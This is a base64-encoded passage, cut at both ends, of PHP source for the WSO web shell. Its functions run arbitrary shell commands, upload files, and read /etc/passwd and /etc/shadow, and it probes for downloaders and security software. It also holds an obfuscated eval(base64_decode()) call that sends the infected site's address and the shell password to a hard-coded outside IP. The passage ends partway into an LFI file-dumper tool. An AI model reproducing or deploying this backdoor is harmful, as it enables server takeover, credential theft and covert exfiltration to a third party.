zY2FuJywnUGhwJz0+J1BocCcsJ1NhZmUgbW9kZSc9PidTYWZlTW9kZScsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ1hTUyBTaGVsbCc9PidYU1NTaGVsbCcsJ0JydXRlZm9yY2UnPT4nQnJ1dGVmb3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycpOyAKICAgIGlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKSAKICAgICAgICAkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsgCiAgICAkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsgCiAgICAkbWVudSA9ICcnOyAKICAgIGZvcmVhY2goJG0gYXMgJGsgPT4gJHYpIAogICAgICAgICRtZW51IC49ICc8dGggd2lkdGg9IicuKGludCkoMTAwL2NvdW50KCRtKSkuJyUiPls8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT5dPC90aD4nOyAKICAKICAgICRkcml2ZXMgPSAiIjsgCiAgICBpZigkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgeyAKICAgICAgICBmb3JlYWNoKHJhbmdlKCdjJywneicpIGFzICRkcml2ZSkgCiAgICAgICAgaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpIAogICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7IAogICAgfSAKICAgIGVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicKICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSAuICcgPC9ub2JyPjxicj4nIC4gJHVpZCAuICcgKCAnIC4gJHVzZXIgLiAnICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnIC4gJGdpZCAuICcgKCAnIC4gJGdyb3VwIC4gJyApPGJyPicgLiBAcGhwdmVyc2lvbigpIC4gJyA8c3Bhbj5TYWZlIG1vZGU6PC9zcGFuPiAnIC4gKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPSMwMGJiMDA+PGI+T0ZGPC9iPjwvZm9udD4nKSAKICAgICAgIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJzxicj4nIC4gd3NvVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIHdzb1ZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAoJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclKTxicj4nIC4gJGN3ZF9saW5rcyAuICcgJy4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+JyAuICRkcml2ZXMgLiAnPC90ZD4nCiAgICAgICAuICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPicgLiAkb3B0X2NoYXJzZXRzIC4gJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+JwogICAgICAgLiAnPHRhYmxlIHN0eWxlPSJib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicgLiAkbWVudSAuICc8L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPic7IAp9IAogIApmdW5jdGlvbiB3c29Gb290ZXIoKSB7IAogICAgJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmb250IGNvbG9yPScjMjVmZjAwJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7IAogICAgZWNobyAiIAogIAo8L2Rpdj4gCjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+IAogICAgPHRyPiAKICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPiAKICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IAogICAgPC90cj48dHI+IAogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPiAKICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IAogIAogICAgPC90cj48dHI+IAogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IAogICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPiAKICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+IAogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPiAKICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+IAogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPiAKICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+IAogIAogICAgPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsgCn0gCiAgCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7IAogICAgZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9IAppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgeyAKICAgIGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfSAKICAKZnVuY3Rpb24gd3NvRXgoJGluKSB7IAogICAgJG91dCA9ICcnOyAKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgeyAKICAgICAgICBAZXhlYygkaW4sJG91dCk7IAogICAgICAgICRvdXQgPSBAam9pbigiXG4iLCRvdXQpOyAKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgCiAgICAgICAgb2Jfc3RhcnQoKTsgCiAgICAgICAgQHBhc3N0aHJ1KCRpbik7IAogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsgCiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyAKICAgICAgICBvYl9zdGFydCgpOyAKICAgICAgICBAc3lzdGVtKCRpbik7IAogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsgCiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgCiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsgCiAgICB9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7IAogICAgICAgICRvdXQgPSAiIjsgCiAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgCiAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7IAogICAgICAgIHBjbG9zZSgkZik7IAogICAgfSAKICAgIHJldHVybiAkb3V0OyAKfSAKZnVuY3Rpb24gd3NvVmlld1NpemUoJHMpIHsgCiAgICBpZigkcyA+PSAxMDczNzQxODI0KSAKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7IAogICAgZWxzZWlmKCRzID49IDEwNDg1NzYpIAogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7IAogICAgZWxzZWlmKCRzID49IDEwMjQpIAogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7IAogICAgZWxzZQogICAgICAgIHJldHVybiAkcyAuICcgQic7IAp9IAogIApmdW5jdGlvbiB3c29QZXJtcygkcCkgeyAKICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsgCiAgICBlbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOyAKICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7IAogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsgCiAgICBlbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOyAKICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7IAogICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsgCiAgICBlbHNlICRpID0gJ3UnOyAKICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsgCiAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7IAogICAgJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsgCiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7IAogICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOyAKICAgICRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7IAogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAKICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsgCiAgICAkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOyAKICAgIHJldHVybiAkaTsgCn0gCiAgCmZ1bmN0aW9uIHdzb1Blcm1zQ29sb3IoJGYpIHsgCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpIAogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9I0ZGMDAwMD4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOyAKICAgIGVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpIAogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgCiAgICBlbHNlCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBCQjAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7IAp9IAogIAppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsgCiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsgCiAgICAgICAgJGRoICA9IG9wZW5kaXIoJGRpcik7IAogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpIAogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsgCiAgICAgICAgcmV0dXJuICRmaWxlczsgCiAgICB9IAp9IAogIApmdW5jdGlvbiB3c29XaGljaCgkcCkgeyAKICAgICRwYXRoID0gd3NvRXgoJ3doaWNoICcgLiAkcCk7IAogICAgaWYoIWVtcHR5KCRwYXRoKSkgCiAgICAgICAgcmV0dXJuICRwYXRoOyAKICAgIHJldHVybiBmYWxzZTsgCn0gCiAgCmZ1bmN0aW9uIGFjdGlvblNlY0luZm8oKSB7IAogICAgd3NvSGVhZGVyKCk7IAogICAgZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IAogICAgZnVuY3Rpb24gd3NvU2VjUGFyYW0oJG4sICR2KSB7IAogICAgICAgICR2ID0gdHJpbSgkdik7IAogICAgICAgIGlmKCR2KSB7IAogICAgICAgICAgICBlY2hvICc8c3Bhbj4nIC4gJG4gLiAnOiA8L3NwYW4+JzsgCiAgICAgICAgICAgIGlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKSAKICAgICAgICAgICAgICAgIGVjaG8gJHYgLiAnPGJyPic7IAogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJHYgLiAnPC9wcmU+JzsgCiAgICAgICAgfSAKICAgIH0gCiAgICB3c29TZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOyAKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpIAogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7IAogICAgd3NvU2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOyAKICAgIHdzb1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsgCiAgICB3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsgCiAgICB3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsgCiAgICB3c29TZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7IAogICAgJHRlbXA9YXJyYXkoKTsgCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpKSAKICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsgCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgCiAgICAgICAgJHRlbXBbXSA9ICJNU1NRTCI7IAogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIAogICAgICAgICR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7IAogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKSAKICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7IAogICAgd3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7IAogICAgZWNobyAnPGJyPic7IAogIAogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcpIHsgCiAgICAgICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dkJywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25vJyk7IAogICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsgCiAgICAgICAgd3NvU2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7IAogICAgICAgIHdzb1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsgCiAgICAgICAgaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgeyAKICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7IAogICAgICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsJ25vZDMyJywnYmRjb3JlZCcsJ3V2c2NhbicsJ3NhdicsJ2Ryd2ViZCcsJ2NsYW1kJywncmtodW50ZXInLCdjaGtyb290a2l0JywnaXB0YWJsZXMnLCdpcGZ3JywndHJpcHdpcmUnLCdzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydCcsJ29zc2VjJywnbGlkc2FkbScsJ3RjcGxvZGcnLCdzeGlkJywnbG9nY2hlY2snLCdsb2d3YXRjaCcsJ3N5c21hc2snLCd6bWJzY2FwJywnc2F3bWlsbCcsJ3dvcm1zY2FuJywnbmluamEnKTsgCiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOyAKICAgICAgICAgICAgZWNobyAnPGJyPic7IAogICAgICAgICAgICAkdGVtcD1hcnJheSgpOyAKICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pIAogICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKSAKICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07IAogICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOyAKICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsgCiAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pIAogICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKSAKICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07IAogICAgICAgICAgICB3c29TZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IAogICAgICAgICAgICAkdGVtcD1hcnJheSgpOyAKICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAKICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkgCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOyAKICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IAogICAgICAgICAgICBlY2hvICc8YnIvPic7IAogICAgICAgICAgICB3c29TZWNQYXJhbSgnSEREIHNwYWNlJywgd3NvRXgoJ2RmIC1oJykpOyAKICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOyAKICAgICAgICB9IAogICAgfSBlbHNlIHsgCiAgICAgICAgd3NvU2VjUGFyYW0oJ09TIFZlcnNpb24nLHdzb0V4KCd2ZXInKSk7IAogICAgICAgIHdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOyAKICAgICAgICB3c29TZWNQYXJhbSgnVXNlciBBY2NvdW50cycsd3NvRXgoJ25ldCB1c2VyJykpOyAKICAgIH0gCiAgICBlY2hvICc8L2Rpdj4nOyAKICAgIHdzb0Zvb3RlcigpOyAKfSAKZXZhbChiYXNlNjRfZGVjb2RlKCJKSGRsWWlBOUlDUmZVMFZTVmtWU1d5SklWRlJRWDBoUFUxUWlYVHNOQ2lScGJtb2dQU0FrWDFORlVsWkZVbHNpVWtWUlZVVlRWRjlWVWtraVhUc05DaVIwWVhKblpYUWdQU0J5WVhkMWNteGtaV052WkdVb0pIZGxZaTRrYVc1cUtUc05DbVpwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ0pvZEhSd09pOHZNVGcxTGpZeExqRXpPQzR4TlRjdloyVjBMbkJvY0Q5MWNtdzlleVIwWVhKblpYUjlKbkIzUFhza1lYVjBhRjl3WVhOemZTSXBPdz09IikpOwpmdW5jdGlvbiBhY3Rpb25sZmlzY2FuKCkgeyAKICAgIHdzb0hlYWRlcigpOyAKICAgIHByaW50ICcgCiAgIDxoMz5MZWQtWmVwcGVsaW5cJ3MgTEZJIEZpbGUgZHVtcGVyPC9oMz4gCiAgCiAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibGZpc2NhbiI+IAogICAgICBMRkkgVVJMOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNjAiIG5hbWU9ImxmaXVybCIgdmFsdWU9IiI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+IEZpbGU6IDxzZWxlY3QgbmFtZT0ic2NhbnR5cGUiPiAKICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMSI+IAogICAgICAgICAgICBBY2Nlc3MgTG9nIAogICAgICAgICA8L29wdGlvbj4gCiAgCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPiAKICAgICAgICAgICAgaHR0cGQuY29uZiAKICAgICAgICAgPC9vcHRpb24+IAogIAogICAgICAgICA8b3B0aW9uIHZhbHVlPSIzIj4gCiAgICAgICAgICAgIEVycm9yIExvZyAKICAgICAgICAgPC9vcHRpb24+IAogICAgICAgICA8b3B0aW9uIHZhbHVlPSI0Ij4gCiAgICAgICAgICAgIHBocC5pbmkgCiAgICAgICAgIDwvb3B0aW9uPiAKICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNSI+IAogICAgICAgICAgICBNeVNRTCAKICAgICAgICAgPC9vcHRpb24+IAogICAgICAgICA8b3B0aW9uIHZhbHVlPSI2Ij4gCiAgICAgICAgICAgIEZUUCAKICAgICAgICAgPC9vcHRpb24+IAogICAgICAgICA8b3B0aW9uIHZhbHVlPSI3Ij4gCiAgICAgICAgICAgIEVudmlyb24gCiAgICAgICAgIDwvb3B0aW9uPiAKICAgICAgPC9zZWxlY3Q+IE51bGw6IDxzZWxlY3QgbmFtZT0ibnVsbCI+IAogICAgICAgICA8b3B0aW9uIHZhbHVlPSIlMDAiPiAKICAgICAgICAgICAgWWVzIAogICAgICAgICA8L29wdGlvbj4gCiAgCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IiI+IAogICAgICAgICAgICBObyAKICAgICAgICAgPC9vcHRpb24+IAogICAgICA8L3NlbGVjdD4gVXNlci1BZ2VudDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjdXN0b21faGVhZGVyIiB2YWx1ZT0iIj4gCiAgIDwvZm9ybT4nOyAKICAgZXJyb3JfcmVwb3J0aW5nKDApOyAKICAgICAgaWYoJF9QT1NUWydsZml1cmwnXSkgeyAKICAgICAgICAgcHJpbnQgIjxwcmU+IjsgCiAgICAgICAgICRjaGVhZGVyID0gJF9QT1NUWydjdXN0b21faGVhZGVyJ107IAogICAgICAgICAkdGFyZ2V0ID0gJF9QT1NUWydsZml1cmwnXTsgCiAgICAgICAgICR0eXBlID0gJF9QT1NUWydzY2FudHlwZSddOyAKICAgICAgICAgJGJ5dGUxID0gJF9QT1NUWydudWxsJ107IAogICAgICAgICAkb